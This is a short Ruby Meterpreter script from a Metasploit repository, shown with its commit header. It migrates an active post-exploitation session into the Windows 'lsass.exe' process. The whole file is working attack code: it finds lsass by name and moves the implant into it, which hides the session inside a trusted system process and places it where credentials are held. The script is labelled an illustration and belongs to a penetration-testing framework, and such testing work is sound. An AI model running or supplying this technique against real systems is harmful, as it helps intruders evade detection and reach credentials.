Files
metasploit-gs/scripts/meterpreter/migrate.rb
T
James Lee c46eb3c628 remove useless reference to args[0]
git-svn-id: file:///home/svn/framework3/trunk@5835 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-04 06:57:26 +00:00

28 lines
624 B
Ruby

#
# Simple example script that migrates to a specific process by name.
# This is meant as an illustration.
#
# Get the target process name
target = "lsass.exe"
print_status("Migrating to #{target}...")
server = client.sys.process.open
print_status("Current server process: #{server.name} (#{server.pid})")
# Get the target process pid
target_pid = client.sys.process[target]
if target_pid.nil?
raise ArgumentError, "Could not find target process: #{target}"
end
# Do the migration
client.core.migrate(target_pid)
server = client.sys.process.open
print_status("New server process: #{server.name} (#{server.pid})")